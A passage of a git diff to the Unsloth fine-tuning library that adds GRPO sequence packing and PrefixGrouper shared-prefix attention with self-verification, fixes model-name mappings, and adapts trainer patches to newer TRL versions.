+            print(f"Unsloth: Restored {restored} dropped FP8 weight_scale_inv tensor(s) on load")
+        if failed > 0:
+            print(f"Unsloth: {failed} dropped FP8 weight_scale_inv tensor(s) could not be restored")
+        if offloaded > 0:
+            print(
+                f"Unsloth: {offloaded} dropped FP8 weight_scale_inv tensor(s) skipped because the "
+                "layer is disk-offloaded; load without disk offload so the scales can be restored"
+            )
+        return (restored, skipped)
+    except Exception:
+        return (0, 0)
+
+
 def check_and_disable_bitsandbytes_loading(
     model_config,
     load_in_4bit = True,
diff --git a/unsloth/models/mapper.py b/unsloth/models/mapper.py
index 57c1e292c3..4558bb0f28 100644
--- a/unsloth/models/mapper.py
+++ b/unsloth/models/mapper.py
@@ -134,7 +134,7 @@ __INT_TO_FLOAT_MAPPER = \
         "unsloth/gemma-7b-it",
         "google/gemma-7b-it",
     ),
-    "unsloth/gemma-2b-bnb-4bit" : (
+    "unsloth/gemma-2b-it-bnb-4bit" : (
         "unsloth/gemma-2b-it",
         "google/gemma-2b-it",
     ),
@@ -701,7 +701,7 @@ __INT_TO_FLOAT_MAPPER = \
         "unsloth/Qwen2.5-VL-72B-Instruct-bnb-4bit",
     ),
     "unsloth/DeepScaleR-1.5B-Preview-unsloth-bnb-4bit" : (
-        "unsloth/DeepHermes-3-Llama-3-8B-Preview",
+        "unsloth/DeepScaleR-1.5B-Preview",
         "agentica-org/DeepScaleR-1.5B-Preview",
         "unsloth/DeepScaleR-1.5B-Preview-bnb-4bit",
     ),
diff --git a/unsloth/models/mistral.py b/unsloth/models/mistral.py
index df2a4de5bd..4350565fe2 100644
--- a/unsloth/models/mistral.py
+++ b/unsloth/models/mistral.py
@@ -27,6 +27,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from .llama import (
     LlamaRotaryEmbedding,
@@ -124,6 +125,9 @@ def MistralAttention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -134,6 +138,7 @@ def MistralAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
@@ -161,7 +166,13 @@ def MistralForCausalLM_fast_forward(
     *args,
     **kwargs,
 ) -> Union[Tuple, CausalLMOutputWithPast]:
-    if causal_mask is None and past_key_values is None:
+    # PrefixGrouper brings its own mask: a synthesized causal attention_mask would trip
+    # resolve_prefix_seg_info on the no-xFormers path and force a fallback.
+    if (
+        causal_mask is None
+        and past_key_values is None
+        and kwargs.get("prefix_seg_info", None) is None
+    ):
         bsz, q_len = input_ids.shape
         sliding_window = getattr(self.config, "sliding_window", None)
 
diff --git a/unsloth/models/qwen3.py b/unsloth/models/qwen3.py
index e28e72d3ea..0d05a2d538 100644
--- a/unsloth/models/qwen3.py
+++ b/unsloth/models/qwen3.py
@@ -23,6 +23,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from .llama import (
     LlamaRotaryEmbedding,
@@ -146,6 +147,9 @@ def Qwen3Attention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -156,6 +160,7 @@ def Qwen3Attention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index 53668d14d8..eeab8fbaca 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -423,8 +423,14 @@ def prepare_for_training_mode(f):
                 pass
         # Enable training mode
         _was_training = None
-        # Get gradient checkpointing setting from training arguments
-        use_gc = getattr(self.args, 'gradient_checkpointing', True)
+        # Restore the GC mode the model was configured with at setup; fall back to
+        # the training args only when it wasn't recorded (issue #4735). Use hasattr,
+        # not a None sentinel, so a deliberately-recorded None is restored verbatim.
+        _model = getattr(self, 'model', None)
+        if hasattr(_model, '_unsloth_gradient_checkpointing'):
+            use_gc = _model._unsloth_gradient_checkpointing
+        else:
+            use_gc = getattr(self.args, 'gradient_checkpointing', True)
         if hasattr(self, 'model') and hasattr(self.model, "training"):
             _was_training = self.model.training
         if hasattr(self, 'model') and hasattr(self.model, "for_training"):
@@ -532,7 +538,8 @@ class Unsloth{RLTrainer_name}(_Unsloth{RLTrainer_name}):
             if getattr(args, "_n_gpu", 1) != 1:
                 args._n_gpu = 1
         if "model" in locals() and hasattr(model, "for_training"):
-            model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True))
+            _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True)
+            model.for_training(use_gradient_checkpointing=_use_gc)
         super().__init__({RLTrainer_call_args}{RLTrainer_kwargs})
         if "model" in locals() and hasattr(model, "for_inference"):
             model.for_inference()
@@ -1015,6 +1022,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             "dtype = _get_dtype(dtype)\n"
             "float16 = dtype == torch.float16\n"
             "bfloat16 = dtype == torch.bfloat16\n"
+            "if full_finetuning:\n"
+            "    if bfloat16 and use_fp16: use_fp16 = False\n"
+            "    if float16 and use_bf16: use_bf16 = False\n"
             "if not force_float32 and (float16 and use_bf16): raise TypeError('Unsloth: Model is in float16 precision but you want to use bfloat16 precision. Set fp16 to `True` and bf16 to `False`')\n"
             "if not force_float32 and (bfloat16 and use_fp16): raise TypeError('Unsloth: Model is in bfloat16 precision but you want to use float16 precision. Set fp16 to `False` and bf16 to `True`')\n"
             "if force_float32:\n"
@@ -1162,7 +1172,8 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
     if "model" in call_args:
         training_check = (
             "if model is not None and hasattr(model, 'for_training'):\n"
-            "    model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True))\n"
+            "    _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True)\n"
+            "    model.for_training(use_gradient_checkpointing=_use_gc)\n"
             "if 'tokenizer' in locals() and hasattr(tokenizer, 'padding_side'): tokenizer.padding_side = 'right'\n"
             "if 'processing_class' in locals():\n"
             "    if hasattr(processing_class, 'padding_side'): processing_class.padding_side = 'right'\n"
@@ -1359,6 +1370,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             # [TODO] See https://fengyao.notion.site/off-policy-rl
             # https://github.com/huggingface/trl/pull/3867 (August 7th)
             "vllm_importance_sampling_correction": False,
+            # TRL >= 1.7.0 enables the MoE router aux loss by default (0.001); the optimized
+            # GRPO forward does not compute it, so default off. Opt in via router_aux_loss_coef > 0.
+            "router_aux_loss_coef": 0.0,
         }
         for k, v in replacements.items():
             x = f"{k}( = [^,\n]{{1,}})?,\n"
@@ -1637,7 +1651,36 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
 
         RLTrainer_source = re.sub(pattern, new_options, RLTrainer_source, flags = re.DOTALL)
 
-        if trl_version >= Version("0.27.0"):
+        if trl_version >= Version("1.4.0"):
+            # The `elif is_peft_model(model) and args.beta != 0.0:` ref-adapter block
+            # was introduced in TRL 1.4.0 and is used through 1.7.x. Remove only that
+            # block, anchored on the final ref_param copy so we do NOT also swallow the
+            # following gradient-checkpointing enable_input_require_grads() block.
+            peft_pattern = (
+                r"\s*elif is_peft_model\(model\) and args\.beta != 0\.0:"
+                r".*?"
+                r"ref_param\.data\.copy_\(param\.data\)"
+            )
+
+            replacement_comment = (
+                "\n        # PEFT initialization logic removed via script for trl >= 1.4.0\n"
+            )
+
+            RLTrainer_source = re.sub(
+                peft_pattern, replacement_comment, RLTrainer_source, flags = re.DOTALL
+            )
+
+            if trl_version >= Version("1.7.0"):
+                # router_aux_loss_coef / aux_loss_enabled were added in TRL 1.7.0. Unsloth's
+                # optimized GRPO forward cannot compute the MoE router aux loss, so reject
+                # explicit opt-in (router_aux_loss_coef > 0) at init rather than silently ignoring it.
+                RLTrainer_source = RLTrainer_source.replace(
+                    "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0",
+                    "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0\n"
+                    '        if self.aux_loss_enabled: raise NotImplementedError("Unsloth GRPO does not compute the MoE router auxiliary loss; set router_aux_loss_coef = 0 (the Unsloth default).")',
+                )
+
+        elif trl_version >= Version("0.27.0"):
             peft_pattern = (
                 r"\s*if is_peft_available\(\) and is_peft_model\(model\) and args\.beta != 0\.0:"
                 r".*?"
@@ -1675,6 +1718,11 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
         'if getattr(model, "is_loaded_in_4bit", False) or getattr(model, "is_loaded_in_8bit", False):',
         "if False:",
     )
+    # TRL >= 1.7.0 spells the same QLoRA bf16 cast as `if _is_quantized_model:`.
+    RLTrainer_source = RLTrainer_source.replace(
+        "if _is_quantized_model:",
+        "if False:",
+    )
 
     if RLTrainer_name == "SFTTrainer":
         original_text = (
diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index d3ada23cf9..ffb845b04f 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -29,7 +29,9 @@ from collections import defaultdict
 from unsloth_zoo.rl_replacements import (
     RL_REPLACEMENTS,
     left_pack_padding,
+    create_completion_attention_mask,
     chunked_selective_log_softmax,
+    chunked_hidden_states_selective_log_softmax,
     _unsloth_get_mm_token_id,
     _unsloth_fix_mm_token_type_ids,
 )
@@ -48,7 +50,41 @@ from ..device_type import (
     ALLOW_PREQUANTIZED_MODELS,
 )
 import textwrap
-from ._utils import _get_inference_mode_context_manager
+from ._utils import _get_inference_mode_context_manager, UNSLOTH_ENABLE_LOGGING
+
+# One-time GRPO sequence-packing gates; mirrored into the generated trainer cache via RL_PRE_ITEMS.
+UNSLOTH_GRPO_SEQ_PACKING_ON = os.environ.get("UNSLOTH_GRPO_SEQ_PACKING", "1").lower() not in (
+    "0",
+    "false",
+    "no",
+    "off",
+)
+# Packing needs zoo#840's masked-column guard in grpo_compute_loss (installed zoo is fixed per-process).
+try:
+    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = "torch.where(_keep, new" in inspect.getsource(
+        RL_REPLACEMENTS["grpo_compute_loss"]
+    )
+except Exception:
+    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False
+# One-time PrefixGrouper gate; any import failure degrades to "PrefixGrouper off".
+_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None
+UNSLOTH_GRPO_PREFIX_GROUPER_ON = os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER", "1").lower() not in (
+    "0",
+    "false",
+    "no",
+    "off",
+)
+if UNSLOTH_GRPO_PREFIX_GROUPER_ON:
+    try:
+        from ..utils.prefix_grouper import (
+            build_group_layout as _pg_build_layout,
+            prefix_grouper_enabled as _pg_enabled_fn,
+            verify_on as _pg_verify_on,
+            tol_ok as _pg_tol_ok,
+            TOL_KILL as _PG_TOL_KILL,
+        )
+    except Exception:
+        UNSLOTH_GRPO_PREFIX_GROUPER_ON = False
 
 RL_EXTRA_ARGS = defaultdict(list)
 RL_FUNCTIONS = defaultdict(list)
@@ -761,7 +797,8 @@ def grpo_trainer__generate_and_score_completions(function_name, function):
                 # Left pad prompt before calculation old and ref hidden states
                 left_pad_tokens_per_prompt = calculate_pad_tokens_in_prompt(prompt_completion_ids, logits_to_keep, self.processing_class.pad_token_id)
                 max_left_pad = torch.max(left_pad_tokens_per_prompt).item()
-        self.model.for_training(use_gradient_checkpointing=getattr(self.args, 'gradient_checkpointing', True))"""
+        _use_gc = self.model._unsloth_gradient_checkpointing if hasattr(self.model, '_unsloth_gradient_checkpointing') else getattr(self.args, 'gradient_checkpointing', True)
+        self.model.for_training(use_gradient_checkpointing=_use_gc)"""
 
     function = function.replace(line_to_replace, replacement_lines)
 
@@ -1166,6 +1203,8 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                 if os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1":
                     self._autocast_dtype = torch.float16
 
+            compute_aux_loss = kwargs.get("compute_aux_loss", None)
+
             pixel_values, image_grid_thw = (
                 kwargs.get("pixel_values", None),
                 kwargs.get("image_grid_thw", None),
@@ -1358,6 +1397,439 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             )
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
 
+            # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----
+            # One varlen [1, sum L] forward replaces the padded [B, Lmax] loop (also fixes the
+            # left-pad RoPE error). Self-verified against the per-row forward, re-checked as T
+            # grows; falls back if a backend ignores packed_seq_lengths.
+            logprobs = None
+
+            # ---- PrefixGrouper (GRPO shared-prompt dedup; default ON, exact + self-verified) ----
+            # G completions per prompt share the prefix; the packed path forwards it G times,
+            # PrefixGrouper stores it once (FlexAttention shared-prefix mask), cutting the trunk
+            # forward from G*(P+R) to P+G*R tokens. Gated by UNSLOTH_GRPO_PREFIX_GROUPER (needs
+            # seq-packing), tok_r auto-gate, and first-use self-verify vs the packed path
+            # (mismatch => fall back + mark unsafe), so a mask/isolation regression cannot ship
+            # silently. When off / ungrouped / unverified, the packed path below runs as before.
+            _pg_result = None
+            _pg_use = False
+            _pg_skip_pk = False  # once a shape is PG-verified, skip the full-row forward
+            _pg_forward_fn = None  # deferred PG forward (runs at the verify site below)
+            _pg_num_gen = getattr(self, "num_generations", None)
+            # Env gate hoisted to module level (mirrored via RL_PRE_ITEMS). Skip PG under vLLM
+            # (fast_inference=True): the rollout dominates the step, so PG saves little and its
+            # first-use self-verify is net overhead.
+            _pg_engage = (
+                UNSLOTH_GRPO_PREFIX_GROUPER_ON
+                and not getattr(self, "use_vllm", False)
+                and not getattr(unwrapped_model, "_unsloth_prefix_grouper_nograd_disabled", False)
+            )
+            if _pg_engage:
+                try:
+                    # Skip softcap models (the flex kernel never applies attn_logit_softcapping)
+                    # and hybrid SSM / MoE models: only the threaded attention forwards get the
+                    # shared-prefix isolation, so a Mamba or MoE decoder that does not forward
+                    # prefix_seg_info would leak suffixes across completions. PG also rides on
+                    # sequence packing, so it needs the same zoo masked-column guard.
+                    _pg_cfg = getattr(unwrapped_model, "config", None)
+                    _pg_engage = (
+                        _pg_enabled_fn()
+                        and UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
+                        and pixel_values is None
+                        and token_type_ids is None
+                        and mm_token_type_ids is None
+                        and _pg_num_gen is not None
+                        and _pg_num_gen >= 2
+                        and not getattr(_pg_cfg, "attn_logit_softcapping", None)
+                        # normal backends apply config.attention_dropout in training; the flex
+                        # path is deterministic, so skip PG when it is set.
+                        and not getattr(_pg_cfg, "attention_dropout", 0)
+                        and not any(
+                            getattr(_pg_cfg, _pg_a, None) is not None
+                            for _pg_a in (
+                                "mamba_d_ssm",
+                                "mamba_d_state",
+                                "mamba_expand",
+                                "num_experts",
+                                "num_local_experts",
+                                "n_routed_experts",
+                                "moe_intermediate_size",
+                            )
+                        )
+                    )
+                except Exception:
+                    _pg_engage = False
+            if _pg_engage:
+                try:
+                    _pg_pad = self.processing_class.pad_token_id
+                    # cap the PG span (P+max(R)) at the sliding window, like the packed _pk_sw guard.
+                    _pg_sw = getattr(
+                        getattr(unwrapped_model, "config", None), "sliding_window", None
+                    )
+                    if not (isinstance(_pg_sw, int) and _pg_sw > 0):
+                        _pg_sw = None
+                    _pg_layout = _pg_build_layout(
+                        input_ids,
+                        logits_to_keep,
+                        _pg_pad,
+                        _pg_num_gen,
+                        left_pad_tokens_per_prompt,
+                        max_segment_cap = _pg_sw,
+                    )
+                    _pg_unsafe = getattr(
+                        unwrapped_model, "_unsloth_prefix_grouper_nograd_unsafe", None
+                    )
+                    if _pg_unsafe is None:
+                        _pg_unsafe = set()
+                    if _pg_layout is not None and _pg_layout.signature not in _pg_unsafe:
+                        _pg_sig = _pg_layout.signature
+                        _pg_verified = getattr(
+                            unwrapped_model, "_unsloth_prefix_grouper_nograd_verified", None
+                        )
+                        if _pg_verified is None:
+                            _pg_verified = set()
+                        _pg_chunks = max(1, total_rows * multiplier)
+
+                        def _pg_run_forward(_pg_layout = _pg_layout, _pg_chunks = _pg_chunks):
+                            with _get_inference_mode_context_manager(model):
+                                with torch.amp.autocast(
+                                    device_type = "cuda", dtype = self._autocast_dtype
+                                ):
+                                    _pg_hidden = unwrapped_model(
+                                        input_ids = _pg_layout.flat_ids,
+                                        position_ids = _pg_layout.position_ids,
+                                        prefix_seg_info = _pg_layout.prefix_seg_info,
+                                        use_cache = False,
+                                    ).logits
+                                    _pg_r = _pg_layout.extract_logps(
+                                        _pg_hidden,
+                                        lm_head,
+                                        chunked_hidden_states_selective_log_softmax,
+                                        _pg_chunks,
+                                        logit_scale_multiply,
+                                        logit_scale_divide,
+                                        logit_softcapping,
+                                        temperature,
+                                    )
+                                    _pg_hidden = None  # release before any verify forward
+                            device_synchronize()
+                            # clip to the loss window [B, logits_to_keep+max_left_pad]
+                            _pg_w = logits_to_keep + max_left_pad
+                            if _pg_r.shape[1] > _pg_w:
+                                _pg_r = _pg_r[:, -_pg_w:]
+                            return _pg_r
+
+                        # trust only within the verified envelope: re-verify when T or the
+                        # longest segment grows, like the packed path
+                        _pg_T = int(_pg_layout.flat_ids.shape[1])
+                        _pg_maxseg = int(_pg_layout.position_ids.max()) + 1
+                        _pg_env = (
+                            _pg_verified.get(_pg_sig) if isinstance(_pg_verified, dict) else None
+                        )
+                        if (not _pg_verify_on()) or (
+                            _pg_env is not None and _pg_T <= _pg_env[0] and _pg_maxseg <= _pg_env[1]
+                        ):
+                            # trusted shape: run PG now and skip the full-row forward below
+                            _pg_result = _pg_run_forward()
+                            _pg_use = True
+                            _pg_skip_pk = True
+                        else:
+                            # unverified shape: defer the forward until the packed reference
+                            # exists (verify site below), so a declined packed path never wastes
+                            # a whole-batch PG forward
+                            _pg_forward_fn = _pg_run_forward
+                except Exception as _pg_err:
+                    _pg_result = None
+                    _pg_use = False
+                    _pg_skip_pk = False
+                    _pg_forward_fn = None
+                    # A FlexAttention/Triton compile failure or OOM here is GPU-wide, not
+                    # layout-specific, so retrying the same PG forward every step just re-pays
+                    # the failure. Persistently disable PG (mirrors the seq-packing handler
+                    # setting _unsloth_seq_packing_nograd_ok = False); the packed/padded path
+                    # below still produces the exact result.
+                    unwrapped_model._unsloth_prefix_grouper_nograd_disabled = True
+                    if isinstance(_pg_err, torch.cuda.OutOfMemoryError):
+                        torch.cuda.empty_cache()
+                    os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
+                    if UNSLOTH_ENABLE_LOGGING:
+                        print(
+                            f"[Unsloth] GRPO PrefixGrouper (no-grad) disabled (fell back to packed): {_pg_err!r}",
+                            flush = True,
+                        )
+
+            # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----
+            # One varlen [1, sum L] block-diagonal forward replaces the padded [B, Lmax] loop
+            # (exact per-row result; also fixes the padded path's left-pad RoPE error).
+            # Self-verified vs the per-row forward, re-checked as T grows; falls back if a
+            # backend ignores packed_seq_lengths. lm_head runs on completion positions only.
+            _pk_result = None
+            _pk_use = False
+            _pk_enabled = UNSLOTH_GRPO_SEQ_PACKING_ON
+            # Without zoo#840's masked-column guard, zeroed prompt/pad columns turn NaN in exp().
+            _pk_enabled = _pk_enabled and UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
+            _pk_ok = getattr(unwrapped_model, "_unsloth_seq_packing_nograd_ok", None)
+            if (
+                _pk_enabled
+                and not _pg_skip_pk
+                and pixel_values is None
+                and token_type_ids is None
+                and mm_token_type_ids is None
+                and _pk_ok is not False
+            ):
+                try:
+                    _pk_pad = self.processing_class.pad_token_id
+                    _pk_keep = input_ids != _pk_pad
+                    _pk_len = _pk_keep.sum(dim = 1)
+                    _pk_len_cpu = _pk_len.tolist()  # single GPU->CPU sync, reused below
+                    _pk_nz_cpu = [_n for _n in _pk_len_cpu if _n > 0]
+                    _pk_flat = input_ids[_pk_keep].unsqueeze(0)
+                    _pk_T = _pk_flat.shape[1]
+                    _pk_L = input_ids.shape[1]
+                    _pk_W = logits_to_keep + max_left_pad
+                    _pk_maxseg = max(_pk_nz_cpu) if _pk_nz_cpu else 0
+                    # sliding-window models lose the per-sequence local window in a packed stream
+                    _pk_sw = getattr(
+                        getattr(unwrapped_model, "config", None), "sliding_window", None
+                    )
+                    _pk_sw_ok = not (isinstance(_pk_sw, int) and _pk_sw > 0 and _pk_maxseg > _pk_sw)
+                    # per-row completion mask (same as the loss); prompt-only rows count as inactive
+                    _pk_cmask = create_completion_attention_mask(
+                        input_ids[:, -_pk_W:], left_pad_tokens_per_prompt, max_left_pad, _pk_pad
+                    )
+                    _pk_active = int(_pk_cmask.any(dim = 1).sum())
+                    # skip the packed forward entirely at known-unsafe lengths (avoids a wasted pass / OOM)
+                    _pk_unsafe = getattr(
+                        unwrapped_model, "_unsloth_seq_packing_nograd_unsafe_T", None
+                    )
+                    # cap the flattened forward at one padded [batch_size, seq_len] mini-batch's
+                    # token budget; anything larger uses the chunked padded loop
+                    _pk_cap = batch_size * seq_len
+                    if (
+                        _pk_T >= 2
+                        and _pk_T <= _pk_cap
+                        and len(_pk_nz_cpu) > 0
+                        and _pk_sw_ok
+                        and not (_pk_unsafe is not None and _pk_T >= _pk_unsafe)
+                        and (_pk_ok is True or _pk_active >= 2)
+                    ):
+                        # reset 0-based position_ids per segment
+                        _pk_pos = (_pk_keep.cumsum(dim = 1) - 1)[_pk_keep].unsqueeze(0)
+                        _pk_chunks = max(1, total_rows * multiplier)
+                        _pk_nz_idx = _pk_keep.nonzero(
+                            as_tuple = False
+                        )  # [T, 2] = (row, col), row-major
+                        _pk_within = _pk_nz_idx[1:, 0] == _pk_nz_idx[:-1, 0]  # [T-1]
+                        # per-row completion start after left-packing (matches create_completion_attention_mask)
+                        _pk_cstart = (_pk_L - logits_to_keep) - left_pad_tokens_per_prompt  # [rows]
+                        _pk_ctgt = (_pk_nz_idx[1:, 1] >= _pk_cstart[_pk_nz_idx[1:, 0]]) & _pk_within
+                        with _get_inference_mode_context_manager(model):
+                            with torch.amp.autocast(device_type = "cuda", dtype = self._autocast_dtype):
+                                # use_cache=False: a KV cache silently disables varlen packing
+                                _pk_hidden = unwrapped_model(
+                                    input_ids = _pk_flat,
+                                    position_ids = _pk_pos,
+                                    packed_seq_lengths = torch.tensor(
+                                        _pk_nz_cpu, dtype = torch.int32, device = input_ids.device
+                                    ),
+                                    use_cache = False,
+                                ).logits
+                                _pk_sel = chunked_hidden_states_selective_log_softmax(
+                                    _pk_hidden[0, :-1, :][_pk_ctgt].unsqueeze(0),
+                                    lm_head,
+                                    _pk_flat[0, 1:][_pk_ctgt].unsqueeze(0),
+                                    _pk_chunks,
+                                    logit_scale_multiply,
+                                    logit_scale_divide,
+                                    logit_softcapping,
+                                    temperature,
+                                )[0]
+                        # GPT-OSS offload race guard (matches the padded loop)
+                        device_synchronize()
+                        # scatter each logprob back to its (row, col) so [:, -_pk_W:] matches padded
+                        _pk_tgt = (_pk_nz_idx[1:, 0] * _pk_L + _pk_nz_idx[1:, 1])[_pk_ctgt]
+                        _pk_result = (
+                            torch.zeros(
+                                total_rows * _pk_L,
+                                dtype = torch.float32,
+                                device = input_ids.device,
+                            )
+                            .index_put((_pk_tgt,), _pk_sel.to(torch.float32))
+                            .view(total_rows, _pk_L)[:, -_pk_W:]
+                        )
+                        # re-verify when T or the longest segment grows past what was verified
+                        # (a LongRoPE cache switch can change the result)
+                        _pk_vT = int(
+                            getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_T", 0)
+                        )
+                        _pk_vS = int(
+                            getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_seg", 0)
+                        )
+                        # debug: hand-edit this condition to force re-verify every step
+                        if _pk_ok is True and _pk_T <= _pk_vT and _pk_maxseg <= _pk_vS:
+                            _pk_use = True  # already verified for this shape
+                        else:
+                            # verify against the per-row forward (ground truth)
+                            _pk_ref = torch.zeros_like(_pk_result)
+                            with _get_inference_mode_context_manager(model):
+                                with torch.amp.autocast(
+                                    device_type = "cuda", dtype = self._autocast_dtype
+                                ):
+                                    for _pk_i in range(total_rows):
+                                        _pk_ni = _pk_len_cpu[_pk_i]
+                                        if _pk_ni < 2:
+                                            continue
+                                        _pk_rmask = _pk_keep[_pk_i]
+                                        _pk_real = input_ids[_pk_i][_pk_rmask].unsqueeze(0)
+                                        _pk_rpos = torch.arange(
+                                            _pk_ni, device = input_ids.device
+                                        ).unsqueeze(0)
+                                        _pk_rh = unwrapped_model(
+                                            input_ids = _pk_real,
+                                            position_ids = _pk_rpos,
+                                            use_cache = False,
+                                        ).logits
+                                        _pk_rsel = chunked_hidden_states_selective_log_softmax(
+                                            _pk_rh[:, :-1, :],
+                                            lm_head,
+                                            _pk_real[:, 1:],
+                                            1,
+                                            logit_scale_multiply,
+                                            logit_scale_divide,
+                                            logit_softcapping,
+                                            temperature,
+                                        )[0]
+                                        _pk_rcols = _pk_rmask.nonzero(as_tuple = False).squeeze(1)[
+                                            1:
+                                        ] - (_pk_L - _pk_W)
+                                        _pk_rkeep = _pk_rcols >= 0
+                                        _pk_ref[_pk_i, _pk_rcols[_pk_rkeep]] = _pk_rsel[
+                                            _pk_rkeep
+                                        ].to(torch.float32)
+                            device_synchronize()
+                            # compare over the loss-mask region only
+                            _pk_cm = _pk_cmask.float()
+                            _pk_diff = float(((_pk_result - _pk_ref).abs() * _pk_cm).max())
+                            if UNSLOTH_ENABLE_LOGGING:
+                                print(
+                                    f"[Unsloth] GRPO seq-packing (no-grad) verify: T={_pk_T} maxseg={_pk_maxseg} packed-vs-perrow max|d|={_pk_diff:.4f}",
+                                    flush = True,
+                                )
+                            # kernel-noise floor ~0.25; cross-sample contamination is >= 2.4
+                            if _pk_diff < 7e-1:
+                                unwrapped_model._unsloth_seq_packing_nograd_ok = True
+                                # widen the trusted shape only when >= 2 completion rows exercised
+                                # cross-sample packing; single-row passes prove nothing
+                                if _pk_active >= 2:
+                                    unwrapped_model._unsloth_seq_packing_nograd_verified_T = max(
+                                        _pk_vT, _pk_T
+                                    )
+                                    unwrapped_model._unsloth_seq_packing_nograd_verified_seg = max(
+                                        _pk_vS, _pk_maxseg
+                                    )
+                                _pk_ok = True
+                                _pk_use = True
+                            else:
+                                _pk_use = False
+                                if _pk_diff >= 1.5:
+                                    # contamination (attention ignores the packed mask): disable packing
+                                    unwrapped_model._unsloth_seq_packing_nograd_ok = False
+                                else:
+                                    # likely a length boundary (LongRoPE): mark unsafe, keep smaller shapes
+                                    unwrapped_model._unsloth_seq_packing_nograd_unsafe_T = (
+                                        _pk_T if _pk_unsafe is None else min(_pk_unsafe, _pk_T)
+                                    )
+                                if UNSLOTH_ENABLE_LOGGING:
+                                    print(
+                                        f"[Unsloth] GRPO seq-packing (no-grad) fell back at T={_pk_T} (diff={_pk_diff:.3f})",
+                                        flush = True,
+                                    )
+                except Exception as _pk_err:
+                    # any failure: drop intermediates, use the padded loop, do not retry
+                    _pk_hidden = None
+                    _pk_sel = None
+                    _pk_result = None
+                    _pk_use = False
+                    if isinstance(_pk_err, torch.cuda.OutOfMemoryError):
+                        torch.cuda.empty_cache()
+                    unwrapped_model._unsloth_seq_packing_nograd_ok = False
+                    if UNSLOTH_ENABLE_LOGGING:
+                        print(
+                            f"[Unsloth] GRPO sequence-packing (no-grad) disabled (fell back to padded): {_pk_err!r}",
+                            flush = True,
+                        )
+            # ---- PrefixGrouper first-use self-verify (no-grad) ----
+            # Compare the untrusted PG result to the full-row packed result (itself verified vs
+            # per-row) over the completion mask: < tol_ok -> trust the structure; >= TOL_KILL ->
+            # unsafe forever; borderline -> fall back this shape.
+            if _pg_forward_fn is not None and not _pg_use:
+                if _pk_use and _pk_result is not None:
+                    try:
+                        # deferred PG forward, run only now that the packed reference exists
+                        _pg_result = _pg_forward_fn()
+                        _pg_W2 = logits_to_keep + max_left_pad
+                        _pg_cm = create_completion_attention_mask(
+                            input_ids[:, -_pg_W2:],
+                            left_pad_tokens_per_prompt,
+                            max_left_pad,
+                            self.processing_class.pad_token_id,
+                        ).float()
+                        _pg_a = _pg_result[:, -_pg_W2:].float()
+                        _pg_b = _pk_result[:, -_pg_W2:].float()
+                        _pg_diff = float(((_pg_a - _pg_b).abs() * _pg_cm).max())
+                        if UNSLOTH_ENABLE_LOGGING:
+                            print(
+                                f"[Unsloth] GRPO PrefixGrouper (no-grad) verify: sig={_pg_layout.signature} "
+                                f"shared-prefix vs full-row-packed max|d|={_pg_diff:.4f}",
+                                flush = True,
+                            )
+                        if _pg_diff < _pg_tol_ok():
+                            _pg_v = getattr(
+                                unwrapped_model, "_unsloth_prefix_grouper_nograd_verified", None
+                            )
+                            if not isinstance(_pg_v, dict):
